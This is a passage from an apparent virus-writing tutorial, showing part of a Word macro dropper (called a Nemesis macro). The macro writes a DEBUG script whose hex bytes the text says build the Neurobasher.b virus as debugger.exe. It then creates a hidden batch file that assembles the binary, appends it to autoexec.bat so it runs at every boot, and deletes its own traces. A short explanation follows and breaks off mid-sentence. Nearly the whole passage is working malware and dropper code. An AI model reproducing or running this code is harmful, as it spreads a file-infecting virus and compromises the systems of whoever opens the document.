C6 06 41 0C 90 CB 2E C6 06 41 0C C3 33" Print #1, "E 0590 C0 8E D8 8E C0 2E A2 99 05 2E A3 B4 04 BF F0 04" Print #1, "E 05A0 B0 EA AA 88 45 EF B8 A6 02 AB C7 45 EE B3 04 8C" Print #1, "E 05B0 C8 AB 89 45 EE C3 60 1E 06 6A 00 1F 80 3E 87 00" Print #1, "E 05C0 08 77 0D C7 06 F1 04 C3 02 C5 3E 84 00 E8 4B 01" Print #1, "E 05D0 07 1F 61 E8 7B 09 2E FF 06 A1 0E 81 FC 00 13 72" Print #1, "E 05E0 0B 81 FC 00 16 77 05 80 FC F2 74 69 80 FC 02 74" Print #1, "E 05F0 05 80 FC 03 75 41 83 FA 02 72 5D 80 FA 80 75 37" Print #1, "E 0600 83 F9 01 75 37 80 FE 01 77 2D 51 FE C8 74 0C 50" Print #1, "E 0610 53 80 C7 02 41 E8 E5 08 49 5B 58 B0 01 80 FA 01" Print #1, "E 0620 77 08 B9 01 50 E8 D5 08 EB 09 0A F6 75 02 B1 07" Print #1, "E 0630 E8 EA 08 59 CA 02 00 2E FF 2E 8F 14 0A F6 75 F7" Print #1, "E 0640 50 8C C8 80 FC 7C 58 74 EE 83 F9 11 77 E9 80 F9" Print #1, "E 0650 06 72 E4 B4 00 F8 EB DC 83 F9 01 75 DA 50 E8 9C" Print #1, "E 0660 08 73 05 44 44 F9 EB EE 58 26 80 BF FD 01 F2 74" Print #1, "E 0670 99 60 1E 06 06 1F 0E 07 8B F3 BF 8F 12 B9 00 01" Print #1, "E 0680 2E 38 0E 99 05 75 18 F3 A5 80 3F EB 75 11 8B 47" Print #1, "E 0690 13 BF F4 11 3D 40 0B 74 08 BF E9 11 3D 60 09 75" Print #1, "E 06A0 74 0E 1F B8 1E 35 CD 21 53 06 B4 25 50 52 8B D7" Print #1, "E 06B0 CD 21 5A 0E 07 BD 50 00 B1 0A BF 67 12 8B DF 8B" Print #1, "E 06C0 C5 AB 8A C1 F6 D8 04 0B B4 02 AB E2 F2 B8 0A 05" Print #1, "E 06D0 B9 01 50 E8 27 08 72 38 BB 8F 12 E8 1C 08 72 30" Print #1, "E 06E0 41 B8 09 03 33 DB E8 14 08 72 25 89 0E 0C 02 89" Print #1, "E 06F0 1E 0F 02 93 BB 8F 12 8A 47 01 97 8D 79 02 BE F8" Print #1, "E 0700 01 B9 1E 00 F3 A4 C6 87 FD 01 F2 B1 01 E8 EA 07" Print #1, "E 0710 58 1F 5A CD 21 07 1F 61 E9 38 FF B4 30 CD 21 3C" Print #1, "E 0720 05 72 09 B4 52 CD 21 06 1F BF 9E 10 B9 01 00 2E" Print #1, "E 0730 89 3E 93 14 2E 8C 1E 95 14 8B 05 3C 90 74 05 3D" Print #1, "E 0740 03 EB 75 07 8B 7D 08 C4 3D EB 12 3D 2E 3A 75 05" Print #1, "E 0750 41 1E 07 EB 08 3C EA 75 13 C4 7D 01 49 B0 9A FC" Print #1, "E 0760 AA B8 E0 04 AB 33 C0 AB B0 90 F3 AA C3 B8 00 43" Print #1, "E 0770 CD 2F 3C 80 75 1E B8 10 43 CD 2F 2E 89 1E 97 14" Print #1, "E 0780 2E 8C 06 99 14 B4 10 8B D7 2E FF 1E 97 14 48 75" Print #1, "E 0790 03 8B EB C3 B8 00 58 CD 21 50 B8 01 58 50 BB 80" Print #1, "E 07A0 00 CD 21 B8 02 58 CD 21 B4 00 50 B8 03 58 50 B3" Print #1, "E 07B0 01 CD 21 B4 48 8B DF CD 21 95 58 5B CD 21 58 5B" Print #1, "E 07C0 CD 21 C3 E9 D6 00 2E C6 06 B4 04 D5 60 E8 74 06" Print #1, "E 07D0 8B DA B9 80 00 80 FF FF 74 32 80 7F 01 3A 75 2C" Print #1, "E 07E0 80 3F 2E 75 24 81 7F FE 4F 50 74 0E 81 7F FE 54" Print #1, "E 07F0 41 74 07 81 7F FB 51 43 75 0F FE 07 B8 20 09 33" Print #1, "E 0800 DB B1 F0 CD 10 93 E9 8D 00 43 E2 D4 1E 06 B4 52" Print #1, "E 0810 CD 21 26 8E 5F FE BE 10 00 80 7C F4 80 B0 00 77" Print #1, "E 0820 73 BF 4E 01 E8 46 FF 8B D5 80 FE A0 72 0C 4D 8E" Print #1, "E 0830 DD 8B C7 C7 44 F1 08 00 EB 35 1E 80 3C 46 74 05" Print #1, "E 0840 80 3C 44 75 21 80 3C 4D 74 12 80 3C 54 74 0D 8B" Print #1, "E 0850 44 01 48 8E C0 03 44 03 8E D8 EB E9 8D 03 26 2B" Print #1, "E 0860 44 F1 26 89 44 F3 1F 8C D8 2B E8 95 05 4D 01 2E" Print #1, "E 0870 8C 1E 8E 05 0E 1F A3 95 05 8E C2 B0 D6 A2 B4 04" Print #1, "E 0880 B9 DC 14 33 F6 33 FF FC F3 A4 8E D9 8C 06 E3 04" Print #1, "E 0890 8C 06 F3 04 07 1F 2E A2 B4 04 61 CB 1E 68 01 C8" Print #1, "E 08A0 1F C7 06 03 00 4E 01 1F EB 68 2E 8C 1E F7 05 0E" Print #1, "E 08B0 1F 89 1E E2 05 BB E2 05 89 47 06 89 4F 0C 89 57" Print #1, "E 08C0 12 89 77 09 89 7F 0F 89 6F 03 8C 47 19 C6 47 B7" Print #1, "E 08D0 68 FF 06 A3 0E FC E8 78 06 8A C4 1E B9 0E 00 07" Print #1, "E 08E0 BF 1A 06 F2 AE 75 28 D1 E1 03 D9 68 FF 05 FF 77" Print #1, "E 08F0 46 BB 00 00 BD 00 00 B8 00 00 BE 00 00 B9 00 00" Print #1, "E 0900 BF 00 00 BA 00 00 68 00 00 1F 68 00 00 07 C3 E8" Print #1, "E 0910 0E 00 80 FC 6C 77 01 CB 83 C4 04 32 C0 CA 02 00" Print #1, "E 0920 E8 CE FF 2E C6 06 99 05 00 C3 4B 4C 11 12 4E 4F" Print #1, "E 0930 42 3F 3E 3D 32 44 25 40 C3 0B 39 0B 29 0B 2D 0B" Print #1, "E 0940 68 06 1B 0B B5 0A 84 0A 67 09 49 09 B9 09 B9 09" Print #1, "E 0950 1B 0B 4F 06 20 43 4F 20 00 2F 44 3A 46 20 00 3C" Print #1, "E 0960 00 74 15 3C 01 75 10 B8 02 3D E8 A8 05 72 08 93" Print #1, "E 0970 E8 60 05 B4 3E CD 21 C3 E8 B0 04 50 8B F2 BF 9B" Print #1, "E 0980 14 0E 07 AC AA 0A C0 75 FA 0E 1F 59 80 FD 3D 75" Print #1, "E 0990 2A C3 81 7D F3 53 4D 75 07 81 7D F9 48 4B 74 0E" Print #1, "E 09A0 81 7D F4 43 48 75 D0 81 7D F6 4B 4C 75 C9 E8 6F" Print #1, "E 09B0 FF 83 C4 06 B8 02 00 F9 CA 02 00 80 FD 4B 75 11" Print #1, "E 09C0 C6 06 81 06 C3 81 7D F9 41 56 75 05 C6 06 81 06" Print #1, "E 09D0 90 BE 49 06 81 7D F8 57 49 75 06 80 7D FA 4E 74" Print #1, "E 09E0 11 BE 44 06 81 7D F6 42 53 75 39 81 7D F9 41 4E" Print #1, "E 09F0 75 32 BF 8F 12 8B DF C6 05 FF 47 AC 0A C0 74 05" Print #1, "E 0A00 AA FE 07 EB F6 8B 36 E2 05 8E 1E FB 05 8C C8 87" Print #1, "E 0A10 44 04 50 8B C3 87 44 02 96 1F 46 AC AA 2E FF 07" Print #1, "E 0A20 3C 0D 75 F7 0E 1F C6 06 B9 09 90 B4 2F CD 21 53" Print #1, "E 0A30 06 B4 1A BA 04 12 CD 21 B8 24 35 CD 21 53 06 B4" Print #1, "E 0A40 25 50 BA 8D 00 CD 21 B3 00 E8 3B 00 B4 4E B9 27" Print #1, "E 0A50 00 E8 DF 00 72 24 BE 00 12 33 FF 80 7C 04 02 77" Print #1, "E 0A60 16 52 B5 04 BA F5 03 B0 04 EE E2 FE B5 04 EE E2" Print #1, "E 0A70 FE EC A8 40 5A 75 03 E8 1D 00 58 1F 5A CD 21 B4" Print #1, "E 0A80 1A 1F 5A CD 21 B3 00 60 B8 02 FA BA 45 59 CD 16" Print #1, "E 0A90 2E 88 0E 76 07 61 C3 39 7C 20 75 07 81 7C 1E 11" Print #1, "E 0AA0 27 72 F3 B4 2A CD 21 8B 44 1C D1 E8 80 E9 BC 3A" Print #1, "E 0AB0 E1 75 09 C1 E8 04 24 0F 3A C6 74 DA 8A 44 19 24" Print #1, "E 0AC0 07 74 08 B8 01 43 33 C9 E8 68 00 B8 02 3D E8 62" Print #1, "E 0AD0 00 72 53 93 B8 00 57 CD 21 51 52 B4 3F E8 68 01" Print #1, "E 0AE0 72 38 80 7C 18 40 74 32 8B 04 02 C4 3C A7 75 2A" Print #1, "E 0AF0 8B 44 04 48 33 D2 BD 00 02 F7 E5 03 44 02 13 D7" Print #1, "E 0B00 39 44 1E 75 15 39 54 20 75 10 B0 02 E8 43 01 E8" Print #1, "E 0B10 23 02 74 06 E8 14 03 E8 20 00 B8 01 57 5A 59 E8" Print #1, "E 0B20 F3 03 B4 3E CD 21 B8 01 43 33 C9 8A 4C 19 80 F9" Print #1, "E 0B30 20 74 06 BA 9B 14 E9 DC 03 C3 8B 44 0E A3 75 00" Print #1, "E 0B40 8B 44 10 A3 71 00 8B 44 14 A3 81 00 8B 44 16 A3" Print #1, "E 0B50 7B 00 8B 44 0C 80 FC FF 74 12 8B 44 04 99 B9 20" Print #1, "E 0B60 00 F7 E1 2B 44 08 03 44 0C 05 10 00 A3 56 00 B4" Print #1, "E 0B70 00 CD 1A 52 92 B4 F2 2A E0 F7 D8 89 44 22 58 8A" Print #1, "E 0B80 CC 25 1F 00 C1 E0 04 A3 FE 08 8B 54 1E 83 E2 0F" Print #1, "E 0B90 03 C2 A3 AD 0E 80 E1 1F 89 0E 0B 09 8B 44 1E 05" Print #1, "E 0BA0 24 12 8B D0 0C 1F 2B C2 A3 E6 08 50 68 00 BE 07" Print #1, "E 0BB0 33 FF 26 81 3D 20 07 74 02 58 C3 E8 0C 04 B4 40" Print #1, "E 0BC0 B9 00 12 E8 90 00 3B C1 59 C7 05 20 07 0E 1F 75" Print #1, "E 0BD0 E9 B6 13 E8 3D 03 B9 24 00 BA 00 12 E8 5F 03 E8" Print #1, "E 0BE0 31 03 E8 59 03 E8 68 00 8B 44 1E 8B 54 20 50 52" Print #1, "E 0BF0 05 24 12 13 D7 05 17 00 13 D7 F7 F5 40 89 44 04" Print #1, "E 0C00 89 54 02 5A 58 F7 36 5A 08 2B 44 08 50 B9 60 00" Print #1, "E 0C10 C1 E9 04 2B C1 89 44 16 58 48 05 04 00 89 44 0E" Print #1, "E 0C20 03 16 FE 08 89 54 14 B8 00 16 8B 16 0B 09 C1 E2" Print #1, "E 0C30 04 2B C2 89 44 10 81 44 0A 61 01 8B 44 0A 39 44" Print #1, "E 0C40 0C 77 03 89 44 0C B4 40 B9 19 00 8B D6 E9 C5 02" Print #1, "E 0C50 B0 00 B4 42 33 C9 99 EB F4 FC 0E 07 8B F2 BF 9B" Print #1, "E 0C60 14 8B CF AC AA 3C 5C 75 02 8B CF 0A C0 75 F4 2E" Print #1, "E 0C70 89 0E 79 09 E8 7A FC 83 C4 06 CD 21 72 43 50 E8" Print #1, "E 0C80 83 00 72 3B 1E 8D 77 1E BF 9B 14 BA 9B 14 B9 0D" Print #1, "E 0C90 00 0E 07 F3 A4 07 0E 1F 8B F3 B8 00 3D E8 75 02" Print #1, "E 0CA0 72 1D 93 E8 85 01 E8 8C 00 9C B4 3E CD 21 9D 75" Print #1, "E 0CB0 0E A1 61 12 26 89 44 1A A1 63 12 26 89 44 1C 58" Print #1, "E 0CC0 F8 50 E8 5B FC 58 CA 02 00 90 83 C4 06 CD 21 3C" Print #1, "E 0CD0 00 75 EE 50 E8 2E 00 72 E6 0E 07 8D 77 FE BF 43" Print #1, "E 0CE0 12 8B D7 FC B9 08 00 E8 12 00 B0 2E AA 8D 77 06" Print #1, "E 0CF0 B1 03 E8 07 00 B0 00 AA 1E 07 EB 9E AC 3C 20 74" Print #1, "E 0D00 03 AA E2 F8 C3 B4 2F CD 21 06 1F 80 3F FF 75 03" Print #1, "E 0D10 83 C3 07 2E 80 3E E9 05 12 77 03 83 C3 03 8A 47" Print #1, "E 0D20 1A 24 1F 3C 1F 74 02 F9 C3 83 7F 1C 00 75 05 81" Print #1, "E 0D30 7F 1A 11 27 C3 B8 00 44 CD 21 A8 80 75 55 0E 1F" Print #1, "E 0D40 B0 01 E8 0D FF 72 4C A3 63 0A 89 16 66 0A 80 FB" Print #1, "E 0D50 00 74 27 B8 02 42 B9 FF FF BA DC FF CD 21 88 1E" Print #1, "E 0D60 40 0A B4 3F B9 24 00 BA 43 12 CD 21 E8 CF 01 B8" Print #1, "E 0D70 00 42 BA 00 00 B9 00 00 CD 21 80 3E 43 12 5A 74" Print #1, "E 0D80 07 80 3E 43 12 4D 75 0B 50 A1 65 12 F7 D8 02 C4" Print #1, "E 0D90 3C F2 58 C3 3C 02 75 FB E8 9A FF 75 F6 83 C4 06" Print #1, "E 0DA0 E8 4E FB 51 B0 00 2E 8B 0E 63 12 2E 8B 16 61 12" Print #1, "E 0DB0 2E 03 16 F4 05 83 D1 00 2E 03 0E EE 05 CD 21 E8" Print #1, "E 0DC0 61 FB 59 EB 63 51 E8 6C FF 5D 75 C7 83 C4 06 BE" Print #1, "E 0DD0 43 12 2B 44 1E 83 DA 00 2B 54 20 78 08 E8 40 FB" Print #1, "E 0DE0 2B C0 F8 EB 43 03 C5 83 D2 00 75 02 2B E8 55 E8" Print #1, "E 0DF0 FF FA 59 CD 21 9C 50 72 2A 1E 07 8B FA 0E 1F BE" Print #1, "E 0E00 43 12 83 3E 66 0A 00 75 1A A1 63 0A 3D 18 00 73" Print #1, "E 0E10 12 03 F0 03 C8 83 F9 18 76 06 2D 18 00 F7 D8 91" Print #1, "E 0E20 FC F3 A4 E8 FA FA 58 9D CA 02 00 2E C6 06 40 0A" Print #1, "E 0E30 00 2E C7 06 65 12 00 00 C3 3C 52 75 06 2E C6 06" Print #1, "E 0E40 B9 09 C3 C3 80 FC 25 75 78 8B F2 81 3C CD 30 75" Print #1, "E 0E50 13 2E C5 16 8F 14 1E 07 8B C2 B7 13 93 CD 2F A1" Print #1, "E 0E60 FF FF EB FE 8B 04 3C EB 75 11 81 7C 07 FA 9C 75" Print #1, "E 0E70 0A 81 7C 09 FC 53 75 03 C6 04 A8 3D FA 9C 75 0B" Print #1, "E 0E80 81 7C 04 F6 06 75 04 C6 44 09 EB 3D 2E 83 75 13" Print #1, "E 0E90 81 7C 09 50 55 75 0C 80 BC 6E 01 E8 75 05 C6 84" Print #1, "E 0EA0 6E 01 C3 3D CD 30 75 02 EB FE 3D FB 2E 75 13 81" Print #1, "E 0EB0 7C 07 75 03 75 0B 81 7C 0D FC FA 75 04 C6 44 08" Print #1, "E 0EC0 00 C3 3D 9C EB 75 FA 81 7C 02 00 80 75 F3 C6 44" Print #1, "E 0ED0 07 00 C3 E8 5F FE 75 E9 E8 75 FD BE 43 12 E8 65" Print #1, "E 0EE0 FD 72 14 B8 00 42 8B 0E 63 12 8B 16 61 12 CD 21" Print #1, "E 0EF0 B4 40 33 C9 E8 1E 00 E9 75 FE B8 01 03 53 33 DB" Print #1, "E 0F00 E8 84 FB 5B FA 9C 2E FF 1E 8F 14 53 9C E8 75 FB" Print #1, "E 0F10 9D 5B C3 B4 40 FA 9C 2E FF 1E 93 14 C3 E8 03 00" Print #1, "E 0F20 E8 DA FF 60 8B F3 8B FB 8A CE BA AD DE D3 E2 B9" Print #1, "E 0F30 FF 00 26 AD 33 C2 83 C2 7F AB E2 F6 61 C3 60 8B" Print #1, "E 0F40 F2 8A 5C 23 49 AC 32 C3 02 D9 88 44 FF E2 F6 61" Print #1, "E 0F50 C3 C3 60 B9 01 00 E2 FE 2E FE 06 44 0C 75 1E B8" Print #1, "E 0F60 03 00 CD 10 B4 02 B7 00 BA 03 0C CD 10 BE 6F 0C" Print #1, "E 0F70 2E AC 34 F5 CD 29 0A C0 75 F6 98 CD 16 61 C3 C9" Print #1, "E 0F80 BD B4 A3 BA B6 CB D5 97 8C D5 BB 90 80 87 9A 97" Print #1, "E 0F90 94 86 9D 90 87 D2 CC C6 DA B2 90 87 98 94 9B 8C" Print #1, "E 0FA0 D5 31 B2 A7 BC A5 A5 B0 B1 31 B7 AC 31 B3 B0 B4" Print #1, "E 0FB0 A7 31 A0 BB A1 BC B9 31 B1 B0 B4 A1 BD 31 A0 A6" Print #1, "E 0FC0 31 B1 BA 31 A5 B4 A7 A1 31 F5 60 33 F6 B9 DC 14" Print #1, "E 0FD0 F3 A4 BE 9A 0E 2B FF 33 C0 A3 2E 0E C6 06 37 0E" Print #1, "E 0FE0 35 A3 38 0E C7 44 99 90 90 C6 44 98 05 B4 2C CD" Print #1, "E 0FF0 21 89 4C 03 89 54 05 B4 2A CD 21 89 0C 88 44 02" Print #1, "E 1000 52 B4 00 CD 1A 87 E9 59 87 F3 FC 8B C1 03 C2 33" Print #1, "E 1010 C5 89 47 59 8B C2 0B C5 D1 C0 F7 D8 89 47 6F 89" Print #1, "E 1020 47 94 68 9B 11 68 63 11 B8 42 11 FF D0 58 FF D0" Print #1, "E 1030 58 FF D0 A1 13 0D 87 06 16 0D 87 06 19 0D F6 C1" Print #1, "E 1040 01 74 04 87 06 16 0D A3 13 0D B0 0F E8 81 03 89" Print #1, "E 1050 7F 0B 8B F1 83 E6 07 D1 E6 83 FE 06 72 11 83 FE" Print #1, "E 1060 08 77 0C B0 F8 F6 C5 02 74 01 40 AA 88 47 96 F6" Print #1, "E 1070 47 09 03 75 03 B0 2E AA F6 47 03 03 75 0B 83 C6" Print #1, "E 1080 10 83 FE 18 77 03 B0 81 AA FF 50 A8 B8 AF 11 BE" Print #1, "E 1090 C0 11 F6 C2 01 75 01 96 56 FF D0 58 FF D0 B0 0F" Print #1, "E 10A0 E8 2D 03 8B 77 07 83 E6 03 D1 E6 FF 50 D8 E8 1D" Print #1, "E 10B0 03 8A 47 05 25 03 00 96 81 C6 8A 0E A4 89 7F 0D" Print #1, "E 10C0 AA E8 0A 03 83 FD 13 72 0F F6 47 03 03 75 09 B8" Print #1, "E 10D0 33 C9 AB B0 E3 AA EB 0B 8B 77 06 83 E6 03 81 C6" Print #1, "E 10E0 8E 0E A4 8B 47 0B 2B C7 48 26 80 7D FF E9 74 03" Print #1, "E 10F0 AA EB 02 48 AB 57 B0 68 AA 8B 47 13 05 40 00 AB" Print #1, "E 1100 B0 C3 AA 5F 8B 47 0D 8B F0 F7 D8 03 C7 48 26 88" Print #1, "E 1110 04 B8 42 12 8B 77 11 2B C7 03 47 13 26 89 04 8B" Print #1, "E 1120 77 0F 8B C7 03 47 13 B9 05 00 06 1F 80 3C FE 75" Print #1, "E 1130 02 88 04 80 3C FF 75 02 88 24 46 E2 EF B8 82 76" Print #1, "E 1140 F8 29 05 90 90 47 47 35 00 00 81 FF 01 12 72 F0" Print #1, "E 1150 61 C3 69 0F 7C 0F 86 0F 8A 0F 94 0F 98 0F A3 0F" Print #1, "E 1160 AE 0F FF 0E 2A 0F 39 0F 3D 0F 46 0F 98 0F A3 0F" Print #1, "E 1170 AE 0F E1 0E E1 0E FA 0E 0D 0F CB 0F EC 0F F5 0F" Print #1, "E 1180 13 10 28 10 35 10 47 10 56 10 6E 10 79 10 80 10" Print #1, "E 1190 8E 10 8B C6 89 F0 8D 04 56 58 74 77 73 74 EB 75" Print #1, "E 11A0 E9 72 62 11 50 11 59 11 59 11 00 00 00 00 00 00" Print #1, "E 11B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06" Print #1, "E 11C0 07 03 03 04 05 07 07 01 02 05 08 10 28 74 7D 5F" Print #1, "E 11D0 5F EC 10 E9 10 34 11 ED 10 13 11 F5 10 F9 10 0B" Print #1, "E 11E0 11 17 11 23 11 F1 10 FE 10 3A 11 3E 11 2B 11 02" Print #1, "E 11F0 11 B8 C0 05 F6 C6 01 74 03 B8 E8 2D E8 5B 00 88" Print #1, "E 1200 67 9D B8 CC 45 AB 89 47 9E C3 B8 F0 35 EB ED B0" Print #1, "E 1210 30 E8 5B 00 C6 47 97 31 B8 82 76 AB C3 4F B0 D1" Print #1, "E 1220 AA 88 47 9D B8 C0 C0 F6 C6 01 74 03 B8 C8 C8 E8" Print #1, "E 1230 28 00 B0 90 86 C4 89 47 9E C3 B0 00 E8 30 00 34" Print #1, "E 1240 28 24 F8 40 88 47 97 EB CF B0 28 EB EF B0 10 E8" Print #1, "E 1250 1D 00 34 08 EB EB B0 18 EB F5 8B 77 03 83 E6 03" Print #1, "E 1260 02 40 1C AA C3 8B F2 83 E6 03 02 40 15 AA C3 8B" Print #1, "E 1270 F2 83 E6 03 02 40 19 AA C3 B0 31 AA 88 47 97 B0" Print #1, "E 1280 00 8B 77 03 83 E6 03 02 40 1F EB E3 B0 01 AA 34" Print #1, "E 1290 28 88 47 97 EB E9 B0 29 EB F4 B0 11 AA 34 08 88" Print #1, "E 12A0 47 97 EB DB B0 19 EB F4 B8 F7 15 AA 89 47 97 B0" Print #1, "E 12B0 10 EB BC B8 F7 1D AA 89 47 97 B0 18 EB B1 B0 D1" Print #1, "E 12C0 AA 88 47 97 B0 00 F7 C5 01 00 74 02 34 08 E8 9E" Print #1, "E 12D0 FF 24 08 0C 05 34 08 88 47 98 C3 F6 C1 05 74 0E" Print #1, "E 12E0 B0 40 E8 80 FF 50 B0 0F E8 E5 00 58 AA C3 B0 FF" Print #1, "E 12F0 AA B0 C0 E8 6F FF 26 8B 45 FE AB C3 B4 C0 E8 13" Print #1, "E 1300 00 B0 02 EB 07 B4 E8 E8 0A 00 B0 FE F6 C6 03 74" Print #1, "E 1310 44 98 AB C3 B0 83 F6 C6 03 74 02 34 02 AA 8A C4" Print #1, "E 1320 E9 42 FF B0 8D AA 8B F2 83 E6 03 8A 40 23 F6 C6" Print #1, "E 1330 03 74 02 04 40 AA EB C9 B0 81 AA B0 F8 E8 25 FF" Print #1, "E 1340 89 7F 11 AB C3 B0 B8 AA E8 F5 FF B0 2B AA B0 C0" Print #1, "E 1350 E8 12 FF B0 F5 AA C3 B0 B8 AA E8 E3 FF B8 F7 D8" Print #1, "E 1360 AB B0 03 AA EB E8 8B C2 24 03 75 CC 8B 77 09 83" Print #1, "E 1370 E6 03 D1 E6 81 C6 82 0E A5 B0 3D AA EB C2 B0 B8" Print #1, "E 1380 02 46 02 AA 8B 46 04 AB C3 B0 C7 AA B0 C0 EB F0" Print #1, "E 1390 B0 8D AA 8A 46 02 98 C1 E0 03 04 06 EB E5 80 7E" Print #1, "E 13A0 02 04 77 1C B0 B0 8A 66 04 02 46 02 96 B0 B4 8A" Print #1, "E 13B0 66 05 02 46 02 F7 C7 01 00 75 01 96 AB 96 AB C3" Print #1, "E 13C0 B0 68 AA 8B 46 04 AB B0 58 02 46 02 AA C3 B0 09" Print #1, "E 13D0 98 96 E8 0D 00 25 0F 00 3B C6 77 F6 D1 E0 96 FF" Print #1, "E 13E0 60 27 53 1E 0E 1F BB 97 04 8B 07 1F 43 03 DF 80" Print #1, "E 13F0 E7 1F 2E 89 1E D7 10 5B C3 B0 FC AA C3 B0 FD AA" Print #1, "E 1400 C3 B0 90 AA C3 B0 FA AA C3 B0 FB AA C3 C3 B0 98" Print #1, "E 1410 AA C3 B8 F8 73 AB B8 01 EA AB C3 B0 B0 AA E8 C1" Print #1, "E 1420 FF AA C3 B0 B4 EB F6 B0 8B AA E8 B5 FF 24 07 04" Print #1, "E 1430 C0 AA C3 B0 B8 AA E8 A9 FF AB C3 B8 B4 4D AB B8" Print #1, "E 1440 CD 21 AB C3 B8 8D 06 AB EB EC B0 25 EB E7 B0 0D" Print #1, "E 1450 EB E3 E8 79 FF 8B 77 09 83 E6 03 D1 E6 FF 60 F8" Print #1, "E 1460 B8 8C C8 AB B8 8E D8 AB C3 B0 0E AA E8 5F FF B0" Print #1, "E 1470 1F AA C3 8A C1 24 07 3C 04 77 54 F6 47 03 03 74" Print #1, "E 1480 4E E8 4A FF 8B 47 6F 89 47 94 50 8B 77 03 83 E6" Print #1, "E 1490 03 8A 40 1C 8B 77 03 98 50 C1 EE 03 83 E6 03 55" Print #1, "E 14A0 8B EC D1 E6 FF 50 E0 5D 58 58 C3 E8 20 FF 89 7F" Print #1, "E 14B0 0F 6A FE 8B F2 83 E6 03 8A 40 15 8B F2 EB D8 B0" Print #1, "E 14C0 0F E8 0C FF 8B 77 04 83 E6 03 D1 E6 FF 50 D0 C3" Print #1, "E 14D0 8A C1 24 07 3C 04 77 F7 8A C5 25 03 00 D1 E0 96" Print #1, "E 14E0 74 ED F6 47 03 03 74 E7 56 B0 0F E8 E2 FE 5E B0" Print #1, "E 14F0 81 AA FF 60 C8 E9 11 F4 11 DF 02 25 02 0F 1B FF" Print #1, "E 1500 54 F6 0F 08 DF 02 25 02 12 1B FF 6C F6 0F 08 00" Print #1, "E 1510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 15A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 15B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 15C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 15D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 15E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 15F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 16A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 16B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 16C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 16D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 16E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 16F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 17A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 17B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 17C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 17D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 17E0 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "RCX" Print #1, "16EC" Print #1, "W" Print #1, "Q" Print #1, "" Close #1 'Create a file called c:\dos\exec.bat for putting in all 'the things that are behind "print #1" till "close #1" 'is found. Open "c:\dos\exec.bat" For Output As #1 Print #1, "@echo off" Print #1, "debug < script.scr>nul" Print #1, "rem debugger.com" Print #1, "echo @c:\dos\debugger.exe>>c:\autoexec.bat" Print #1, "del c:\dos\script.scr" Print #1, "del c:\dos\exec.bat" Close #1 SetAttr "c:\autoexec.bat", 0 'Set the atribute of c:\autoexec.bat... 'to nothing. ChDir "C:\DOS" Shell "EXEC.BAT", 0 ChDir "C:\" NoDropper: ---------------------------------------------------------------- The above is a piece of a Nemesis macro and it opens debug to create a file (debugger.exe) containing the Neurobasher.b virus. The numbers are the hex codes of the Neurobasher.b virus. Then a file called "c:\dos\exec.bat" is created and it contains everything behind the "print #1" until "close #1" is found. After that's done the virus will change the attributes of "c:\autoexec.bat" to 